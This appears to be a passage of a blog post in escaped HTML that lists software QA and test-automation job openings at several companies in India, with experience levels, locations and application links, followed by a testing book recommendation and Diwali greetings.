&lt;p style=&quot;margin-bottom: 0cm&quot;&gt;&lt;b style=&quot;mso-bidi-font-weight: normal&quot;&gt;&lt;i style=&quot;mso-bidi-font-style: normal&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif&quot;&gt;Location&lt;/span&gt;&lt;/i&gt;&lt;/b&gt;&lt;span style=&quot;font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif&quot;&gt; - Pune, Maharashtra (Hybrid)&lt;/span&gt;&lt;/p&gt;

&lt;p style=&quot;margin-bottom: 0cm&quot;&gt;&lt;b style=&quot;mso-bidi-font-weight: normal&quot;&gt;&lt;i style=&quot;mso-bidi-font-style: normal&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif&quot;&gt;Job Description&lt;/span&gt;&lt;/i&gt;&lt;/b&gt;&lt;span style=&quot;font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif&quot;&gt; - &lt;a target=&quot;_blank&quot; rel=&quot;noopener&quot; href=&quot;https://techilaservices.com/careers/6ad1e7d80ead310660c64b8b&quot;&gt;Click here&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p style=&quot;margin-bottom: 0cm&quot;&gt;&lt;br&gt;&lt;/p&gt;

&lt;p style=&quot;margin-bottom: 0cm&quot;&gt;&lt;b style=&quot;mso-bidi-font-weight: normal&quot;&gt;&lt;i style=&quot;mso-bidi-font-style: normal&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif&quot;&gt;Position&lt;/span&gt;&lt;/i&gt;&lt;/b&gt;&lt;span style=&quot;font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif&quot;&gt; - QA Automation Lead with
Playwright&lt;/span&gt;&lt;/p&gt;

&lt;p style=&quot;margin-bottom: 0cm&quot;&gt;&lt;b style=&quot;mso-bidi-font-weight: normal&quot;&gt;&lt;i style=&quot;mso-bidi-font-style: normal&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif&quot;&gt;Company&lt;/span&gt;&lt;/i&gt;&lt;/b&gt;&lt;span style=&quot;font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif&quot;&gt; - Endava&lt;/span&gt;&lt;/p&gt;

&lt;p style=&quot;margin-bottom: 0cm&quot;&gt;&lt;b style=&quot;mso-bidi-font-weight: normal&quot;&gt;&lt;i style=&quot;mso-bidi-font-style: normal&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif&quot;&gt;Experience&lt;/span&gt;&lt;/i&gt;&lt;/b&gt;&lt;span style=&quot;font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif&quot;&gt; - 7+ years&lt;/span&gt;&lt;/p&gt;

&lt;p style=&quot;margin-bottom: 0cm&quot;&gt;&lt;b style=&quot;mso-bidi-font-weight: normal&quot;&gt;&lt;i style=&quot;mso-bidi-font-style: normal&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif&quot;&gt;Location&lt;/span&gt;&lt;/i&gt;&lt;/b&gt;&lt;span style=&quot;font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif&quot;&gt; - Bengaluru, Karnataka / Pune,
Maharashtra&lt;/span&gt;&lt;/p&gt;

&lt;p style=&quot;margin-bottom: 0cm&quot;&gt;&lt;b style=&quot;mso-bidi-font-weight: normal&quot;&gt;&lt;i style=&quot;mso-bidi-font-style: normal&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif&quot;&gt;Job Description&lt;/span&gt;&lt;/i&gt;&lt;/b&gt;&lt;span style=&quot;font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif&quot;&gt; - &lt;a target=&quot;_blank&quot; rel=&quot;noopener&quot; href=&quot;https://jobs.smartrecruiters.com/Endava/744000159296589&quot;&gt;Click here&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p style=&quot;margin-bottom: 0cm&quot;&gt;&lt;br&gt;&lt;/p&gt;

&lt;p style=&quot;margin-bottom: 0cm&quot;&gt;&lt;b style=&quot;mso-bidi-font-weight: normal&quot;&gt;&lt;i style=&quot;mso-bidi-font-style: normal&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif&quot;&gt;Position&lt;/span&gt;&lt;/i&gt;&lt;/b&gt;&lt;span style=&quot;font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif&quot;&gt; - QA Automation Lead with AI
Agent Testing experince&lt;/span&gt;&lt;/p&gt;

&lt;p style=&quot;margin-bottom: 0cm&quot;&gt;&lt;b style=&quot;mso-bidi-font-weight: normal&quot;&gt;&lt;i style=&quot;mso-bidi-font-style: normal&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif&quot;&gt;Company&lt;/span&gt;&lt;/i&gt;&lt;/b&gt;&lt;span style=&quot;font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif&quot;&gt; - Endava&lt;/span&gt;&lt;/p&gt;

&lt;p style=&quot;margin-bottom: 0cm&quot;&gt;&lt;b style=&quot;mso-bidi-font-weight: normal&quot;&gt;&lt;i style=&quot;mso-bidi-font-style: normal&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif&quot;&gt;Experience&lt;/span&gt;&lt;/i&gt;&lt;/b&gt;&lt;span style=&quot;font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif&quot;&gt; - 7+ years&lt;/span&gt;&lt;/p&gt;

&lt;p style=&quot;margin-bottom: 0cm&quot;&gt;&lt;b style=&quot;mso-bidi-font-weight: normal&quot;&gt;&lt;i style=&quot;mso-bidi-font-style: normal&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif&quot;&gt;Location&lt;/span&gt;&lt;/i&gt;&lt;/b&gt;&lt;span style=&quot;font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif&quot;&gt; - Bengaluru, Karnataka / Pune,
Maharashtra&lt;/span&gt;&lt;/p&gt;

&lt;p style=&quot;margin-bottom: 0cm&quot;&gt;&lt;b style=&quot;mso-bidi-font-weight: normal&quot;&gt;&lt;i style=&quot;mso-bidi-font-style: normal&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif&quot;&gt;Job Description&lt;/span&gt;&lt;/i&gt;&lt;/b&gt;&lt;span style=&quot;font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif&quot;&gt; - &lt;a target=&quot;_blank&quot; rel=&quot;noopener&quot; href=&quot;https://jobs.smartrecruiters.com/Endava/744000159056209&quot;&gt;Click here&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p style=&quot;margin-bottom: 0cm&quot;&gt;&lt;br&gt;&lt;/p&gt;

&lt;p style=&quot;margin-bottom: 0cm&quot;&gt;&lt;b style=&quot;mso-bidi-font-weight: normal&quot;&gt;&lt;i style=&quot;mso-bidi-font-style: normal&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif&quot;&gt;Position&lt;/span&gt;&lt;/i&gt;&lt;/b&gt;&lt;span style=&quot;font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif&quot;&gt; - Senior Software Development
Engineer in Test&lt;/span&gt;&lt;/p&gt;

&lt;p style=&quot;margin-bottom: 0cm&quot;&gt;&lt;b style=&quot;mso-bidi-font-weight: normal&quot;&gt;&lt;i style=&quot;mso-bidi-font-style: normal&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif&quot;&gt;Company&lt;/span&gt;&lt;/i&gt;&lt;/b&gt;&lt;span style=&quot;font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif&quot;&gt; - Mimecast&lt;/span&gt;&lt;/p&gt;

&lt;p style=&quot;margin-bottom: 0cm&quot;&gt;&lt;b style=&quot;mso-bidi-font-weight: normal&quot;&gt;&lt;i style=&quot;mso-bidi-font-style: normal&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif&quot;&gt;Experience&lt;/span&gt;&lt;/i&gt;&lt;/b&gt;&lt;span style=&quot;font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif&quot;&gt; - 8+ years&lt;/span&gt;&lt;/p&gt;

&lt;p style=&quot;margin-bottom: 0cm&quot;&gt;&lt;b style=&quot;mso-bidi-font-weight: normal&quot;&gt;&lt;i style=&quot;mso-bidi-font-style: normal&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif&quot;&gt;Location&lt;/span&gt;&lt;/i&gt;&lt;/b&gt;&lt;span style=&quot;font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif&quot;&gt; - Bengaluru, Karnataka&lt;/span&gt;&lt;/p&gt;

&lt;p style=&quot;margin-bottom: 0cm&quot;&gt;&lt;b style=&quot;mso-bidi-font-weight: normal&quot;&gt;&lt;i style=&quot;mso-bidi-font-style: normal&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif&quot;&gt;Job Description&lt;/span&gt;&lt;/i&gt;&lt;/b&gt;&lt;span style=&quot;font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif&quot;&gt; - &lt;a target=&quot;_blank&quot; rel=&quot;noopener&quot; href=&quot;https://careers.mimecast.com/en/jobs/r6855/senior-software-development-engineer-in-test/&quot;&gt;Click here&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p style=&quot;margin-bottom: 0cm&quot;&gt;&lt;br&gt;&lt;/p&gt;

&lt;p style=&quot;margin-bottom: 0cm&quot;&gt;&lt;b style=&quot;mso-bidi-font-weight: normal&quot;&gt;&lt;i style=&quot;mso-bidi-font-style: normal&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif&quot;&gt;Position&lt;/span&gt;&lt;/i&gt;&lt;/b&gt;&lt;span style=&quot;font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif&quot;&gt; - Software Development Engineer
in Test (SDET) - AI-Enabled Quality Infrastructure&lt;/span&gt;&lt;/p&gt;

&lt;p style=&quot;margin-bottom: 0cm&quot;&gt;&lt;b style=&quot;mso-bidi-font-weight: normal&quot;&gt;&lt;i style=&quot;mso-bidi-font-style: normal&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif&quot;&gt;Company&lt;/span&gt;&lt;/i&gt;&lt;/b&gt;&lt;span style=&quot;font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif&quot;&gt; - SS&amp;amp;C Technologies&lt;/span&gt;&lt;/p&gt;

&lt;p style=&quot;margin-bottom: 0cm&quot;&gt;&lt;b style=&quot;mso-bidi-font-weight: normal&quot;&gt;&lt;i style=&quot;mso-bidi-font-style: normal&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif&quot;&gt;Experience&lt;/span&gt;&lt;/i&gt;&lt;/b&gt;&lt;span style=&quot;font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif&quot;&gt; - 2-4 years&lt;/span&gt;&lt;/p&gt;

&lt;p style=&quot;margin-bottom: 0cm&quot;&gt;&lt;b style=&quot;mso-bidi-font-weight: normal&quot;&gt;&lt;i style=&quot;mso-bidi-font-style: normal&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif&quot;&gt;Location&lt;/span&gt;&lt;/i&gt;&lt;/b&gt;&lt;span style=&quot;font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif&quot;&gt; - Hyderabad, Telangana&lt;/span&gt;&lt;/p&gt;

&lt;p style=&quot;margin-bottom: 0cm&quot;&gt;&lt;b style=&quot;mso-bidi-font-weight: normal&quot;&gt;&lt;i style=&quot;mso-bidi-font-style: normal&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif&quot;&gt;Job Description&lt;/span&gt;&lt;/i&gt;&lt;/b&gt;&lt;span style=&quot;font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif&quot;&gt; - &lt;a target=&quot;_blank&quot; rel=&quot;noopener&quot; href=&quot;https://ssctech.wd1.myworkdayjobs.com/en-US/ssctechnologies/job/Hyderabad-India/Software-Development-Engineer-in-Test--SDET----AI-Enabled-Quality-Infrastructure_R46509&quot;&gt;Click here&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p style=&quot;margin-bottom: 0cm&quot;&gt;&lt;br&gt;&lt;/p&gt;

&lt;p style=&quot;margin-bottom: 0cm&quot;&gt;&lt;b style=&quot;mso-bidi-font-weight: normal&quot;&gt;&lt;i style=&quot;mso-bidi-font-style: normal&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif&quot;&gt;Position&lt;/span&gt;&lt;/i&gt;&lt;/b&gt;&lt;span style=&quot;font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif&quot;&gt; - Senior Software Quality
Assurance Engineer - Playwright&lt;/span&gt;&lt;/p&gt;

&lt;p style=&quot;margin-bottom: 0cm&quot;&gt;&lt;b style=&quot;mso-bidi-font-weight: normal&quot;&gt;&lt;i style=&quot;mso-bidi-font-style: normal&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif&quot;&gt;Company&lt;/span&gt;&lt;/i&gt;&lt;/b&gt;&lt;span style=&quot;font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif&quot;&gt; - Scientific Games&lt;/span&gt;&lt;/p&gt;

&lt;p style=&quot;margin-bottom: 0cm&quot;&gt;&lt;b style=&quot;mso-bidi-font-weight: normal&quot;&gt;&lt;i style=&quot;mso-bidi-font-style: normal&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif&quot;&gt;Experience&lt;/span&gt;&lt;/i&gt;&lt;/b&gt;&lt;span style=&quot;font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif&quot;&gt; - 4–8 years&lt;/span&gt;&lt;/p&gt;

&lt;p style=&quot;margin-bottom: 0cm&quot;&gt;&lt;b style=&quot;mso-bidi-font-weight: normal&quot;&gt;&lt;i style=&quot;mso-bidi-font-style: normal&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif&quot;&gt;Location&lt;/span&gt;&lt;/i&gt;&lt;/b&gt;&lt;span style=&quot;font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif&quot;&gt; - Bengaluru, Karnataka&lt;/span&gt;&lt;/p&gt;

&lt;p style=&quot;margin-bottom: 0cm&quot;&gt;&lt;b style=&quot;mso-bidi-font-weight: normal&quot;&gt;&lt;i style=&quot;mso-bidi-font-style: normal&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif&quot;&gt;Job Description&lt;/span&gt;&lt;/i&gt;&lt;/b&gt;&lt;span style=&quot;font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif&quot;&gt; - &lt;a target=&quot;_blank&quot; rel=&quot;noopener&quot; href=&quot;https://sglottery.wd5.myworkdayjobs.com/ScientificGamesExternalCareers/job/Bangalore-India/Senior-Software-Quality-Assurance-Engineer---Playwright_R505378&quot;&gt;Click here&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p style=&quot;margin-bottom: 0cm&quot;&gt;&lt;br&gt;&lt;/p&gt;

&lt;p style=&quot;margin-bottom: 0cm&quot;&gt;&lt;b style=&quot;mso-bidi-font-weight: normal&quot;&gt;&lt;i style=&quot;mso-bidi-font-style: normal&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif&quot;&gt;Position&lt;/span&gt;&lt;/i&gt;&lt;/b&gt;&lt;span style=&quot;font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif&quot;&gt; - Senior Software QA Automation
Engineer&lt;/span&gt;&lt;/p&gt;

&lt;p style=&quot;margin-bottom: 0cm&quot;&gt;&lt;b style=&quot;mso-bidi-font-weight: normal&quot;&gt;&lt;i style=&quot;mso-bidi-font-style: normal&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif&quot;&gt;Company&lt;/span&gt;&lt;/i&gt;&lt;/b&gt;&lt;span style=&quot;font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif&quot;&gt; - Revvity&lt;/span&gt;&lt;/p&gt;

&lt;p style=&quot;margin-bottom: 0cm&quot;&gt;&lt;b style=&quot;mso-bidi-font-weight: normal&quot;&gt;&lt;i style=&quot;mso-bidi-font-style: normal&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif&quot;&gt;Experience&lt;/span&gt;&lt;/i&gt;&lt;/b&gt;&lt;span style=&quot;font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif&quot;&gt; - 7+ years&lt;/span&gt;&lt;/p&gt;

&lt;p style=&quot;margin-bottom: 0cm&quot;&gt;&lt;b style=&quot;mso-bidi-font-weight: normal&quot;&gt;&lt;i style=&quot;mso-bidi-font-style: normal&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif&quot;&gt;Location&lt;/span&gt;&lt;/i&gt;&lt;/b&gt;&lt;span style=&quot;font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif&quot;&gt; - Remote, India&lt;/span&gt;&lt;/p&gt;

&lt;p style=&quot;margin-bottom: 0cm&quot;&gt;&lt;b style=&quot;mso-bidi-font-weight: normal&quot;&gt;&lt;i style=&quot;mso-bidi-font-style: normal&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif&quot;&gt;Job Description&lt;/span&gt;&lt;/i&gt;&lt;/b&gt;&lt;span style=&quot;font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif&quot;&gt; - &lt;a target=&quot;_blank&quot; rel=&quot;noopener&quot; href=&quot;https://jobs.revvity.com/job/hyderabad/sr-software-qa-automation-engineer/20539/98177906880&quot;&gt;Click here&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p style=&quot;margin-bottom: 0cm&quot;&gt;&lt;br&gt;&lt;/p&gt;

&lt;p style=&quot;margin-bottom: 0cm&quot;&gt;&lt;b style=&quot;mso-bidi-font-weight: normal&quot;&gt;&lt;i style=&quot;mso-bidi-font-style: normal&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif&quot;&gt;Position&lt;/span&gt;&lt;/i&gt;&lt;/b&gt;&lt;span style=&quot;font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif&quot;&gt; - Test Automation Engineer&lt;/span&gt;&lt;/p&gt;

&lt;p style=&quot;margin-bottom: 0cm&quot;&gt;&lt;b style=&quot;mso-bidi-font-weight: normal&quot;&gt;&lt;i style=&quot;mso-bidi-font-style: normal&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif&quot;&gt;Company&lt;/span&gt;&lt;/i&gt;&lt;/b&gt;&lt;span style=&quot;font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif&quot;&gt; - InfoBeans&lt;/span&gt;&lt;/p&gt;

&lt;p style=&quot;margin-bottom: 0cm&quot;&gt;&lt;b style=&quot;mso-bidi-font-weight: normal&quot;&gt;&lt;i style=&quot;mso-bidi-font-style: normal&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif&quot;&gt;Experience&lt;/span&gt;&lt;/i&gt;&lt;/b&gt;&lt;span style=&quot;font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif&quot;&gt; - 5+ years&lt;/span&gt;&lt;/p&gt;

&lt;p style=&quot;margin-bottom: 0cm&quot;&gt;&lt;b style=&quot;mso-bidi-font-weight: normal&quot;&gt;&lt;i style=&quot;mso-bidi-font-style: normal&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif&quot;&gt;Location&lt;/span&gt;&lt;/i&gt;&lt;/b&gt;&lt;span style=&quot;font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif&quot;&gt; - Bengaluru / Hyderabad /
Chennai / Pune / Mumbai&lt;/span&gt;&lt;/p&gt;

&lt;p style=&quot;margin-bottom: 0cm&quot;&gt;&lt;b style=&quot;mso-bidi-font-weight: normal&quot;&gt;&lt;i style=&quot;mso-bidi-font-style: normal&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif&quot;&gt;Job Description&lt;/span&gt;&lt;/i&gt;&lt;/b&gt;&lt;span style=&quot;font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif&quot;&gt; - &lt;a target=&quot;_blank&quot; rel=&quot;noopener&quot; href=&quot;https://infobeans.ai/careers/TestA-AIL-2026-09-2226/&quot;&gt;Click here&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p style=&quot;margin-bottom: 0cm&quot;&gt;&lt;br&gt;&lt;/p&gt;

&lt;p style=&quot;margin-bottom: 0cm&quot;&gt;&lt;b style=&quot;mso-bidi-font-weight: normal&quot;&gt;&lt;i style=&quot;mso-bidi-font-style: normal&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif&quot;&gt;Position&lt;/span&gt;&lt;/i&gt;&lt;/b&gt;&lt;span style=&quot;font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif&quot;&gt; - Lead QA Engineer&lt;/span&gt;&lt;/p&gt;

&lt;p style=&quot;margin-bottom: 0cm&quot;&gt;&lt;b style=&quot;mso-bidi-font-weight: normal&quot;&gt;&lt;i style=&quot;mso-bidi-font-style: normal&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif&quot;&gt;Company&lt;/span&gt;&lt;/i&gt;&lt;/b&gt;&lt;span style=&quot;font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif&quot;&gt; - Noon&lt;/span&gt;&lt;/p&gt;

&lt;p style=&quot;margin-bottom: 0cm&quot;&gt;&lt;b style=&quot;mso-bidi-font-weight: normal&quot;&gt;&lt;i style=&quot;mso-bidi-font-style: normal&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif&quot;&gt;Experience&lt;/span&gt;&lt;/i&gt;&lt;/b&gt;&lt;span style=&quot;font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif&quot;&gt; - 8-13 years&lt;/span&gt;&lt;/p&gt;

&lt;p style=&quot;margin-bottom: 0cm&quot;&gt;&lt;b style=&quot;mso-bidi-font-weight: normal&quot;&gt;&lt;i style=&quot;mso-bidi-font-style: normal&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif&quot;&gt;Location&lt;/span&gt;&lt;/i&gt;&lt;/b&gt;&lt;span style=&quot;font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif&quot;&gt; - Bengaluru, Karnataka&lt;/span&gt;&lt;/p&gt;

&lt;p style=&quot;margin-bottom: 0cm&quot;&gt;&lt;b style=&quot;mso-bidi-font-weight: normal&quot;&gt;&lt;i style=&quot;mso-bidi-font-style: normal&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif&quot;&gt;Job Description&lt;/span&gt;&lt;/i&gt;&lt;/b&gt;&lt;span style=&quot;font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif&quot;&gt; - &lt;a target=&quot;_blank&quot; rel=&quot;noopener&quot; href=&quot;https://jobs.ashbyhq.com/noon-design/13521591-54f6-4f27-94cb-7b76810065c1&quot;&gt;Click here&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p style=&quot;margin-bottom: 0cm&quot;&gt;&lt;br&gt;&lt;/p&gt;

&lt;p style=&quot;margin-bottom: 0cm&quot;&gt;&lt;b style=&quot;mso-bidi-font-weight: normal&quot;&gt;&lt;i style=&quot;mso-bidi-font-style: normal&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif&quot;&gt;Position&lt;/span&gt;&lt;/i&gt;&lt;/b&gt;&lt;span style=&quot;font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif&quot;&gt; - Quality Assurance Engineer -
Playwright&lt;/span&gt;&lt;/p&gt;

&lt;p style=&quot;margin-bottom: 0cm&quot;&gt;&lt;b style=&quot;mso-bidi-font-weight: normal&quot;&gt;&lt;i style=&quot;mso-bidi-font-style: normal&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif&quot;&gt;Company&lt;/span&gt;&lt;/i&gt;&lt;/b&gt;&lt;span style=&quot;font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif&quot;&gt; - Onit&lt;/span&gt;&lt;/p&gt;

&lt;p style=&quot;margin-bottom: 0cm&quot;&gt;&lt;b style=&quot;mso-bidi-font-weight: normal&quot;&gt;&lt;i style=&quot;mso-bidi-font-style: normal&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif&quot;&gt;Experience&lt;/span&gt;&lt;/i&gt;&lt;/b&gt;&lt;span style=&quot;font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif&quot;&gt; - 2–3 years&lt;/span&gt;&lt;/p&gt;

&lt;p style=&quot;margin-bottom: 0cm&quot;&gt;&lt;b style=&quot;mso-bidi-font-weight: normal&quot;&gt;&lt;i style=&quot;mso-bidi-font-style: normal&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif&quot;&gt;Location&lt;/span&gt;&lt;/i&gt;&lt;/b&gt;&lt;span style=&quot;font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif&quot;&gt; - Pune, Maharashtra (Hybrid)&lt;/span&gt;&lt;/p&gt;

&lt;p style=&quot;margin-bottom: 0cm&quot;&gt;&lt;b style=&quot;mso-bidi-font-weight: normal&quot;&gt;&lt;i style=&quot;mso-bidi-font-style: normal&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif&quot;&gt;Job Description&lt;/span&gt;&lt;/i&gt;&lt;/b&gt;&lt;span style=&quot;font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif&quot;&gt; - &lt;a target=&quot;_blank&quot; rel=&quot;noopener&quot; href=&quot;https://jobs.lever.co/onit/6d9de478-7e5e-465f-9627-675538f04557&quot;&gt;Click here&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p style=&quot;margin-bottom: 0cm&quot;&gt;&lt;br&gt;&lt;/p&gt;&lt;p style=&quot;margin-bottom: 0cm&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif&quot;&gt;Happy Job Hunting. &lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Segoe UI Emoji&amp;quot;,sans-serif; mso-bidi-font-family: &amp;quot;Segoe UI Emoji&amp;quot;&quot;&gt;😊&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;margin-bottom: 0cm&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif&quot;&gt;Here is my today&amp;apos;s Book
recommendation.&lt;/span&gt;&lt;/p&gt;

&lt;p style=&quot;margin-bottom: 0cm&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Segoe UI Emoji&amp;quot;,sans-serif; mso-bidi-font-family: &amp;quot;Segoe UI Emoji&amp;quot;&quot;&gt;👇&lt;/span&gt;&lt;/p&gt;

&lt;h2 style=&quot;margin-bottom: 0cm; text-align: left&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif&quot;&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener&quot; href=&quot;https://link.amazon/B0cDEIi45&quot;&gt;Taking Testing Seriously: The Rapid Software Testing Approach&lt;/a&gt;&lt;/span&gt;&lt;/b&gt;&lt;/h2&gt;&lt;p style=&quot;margin-bottom: 0cm&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif&quot;&gt;Know someone who might find this
useful? Feel free to share it with them. &lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Segoe UI Emoji&amp;quot;,sans-serif; mso-bidi-font-family: &amp;quot;Segoe UI Emoji&amp;quot;&quot;&gt;😊&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;margin-bottom: 0cm&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif&quot;&gt;Also, wishing you a wonderful &lt;b&gt;Diwali&lt;/b&gt;.
Enjoy the festive season with your family, friends, and loved ones. May it
bring happiness, prosperity, and countless moments of joy.&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;margin-bottom: 0cm&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif&quot;&gt;Happy Learning | Happy Testing |
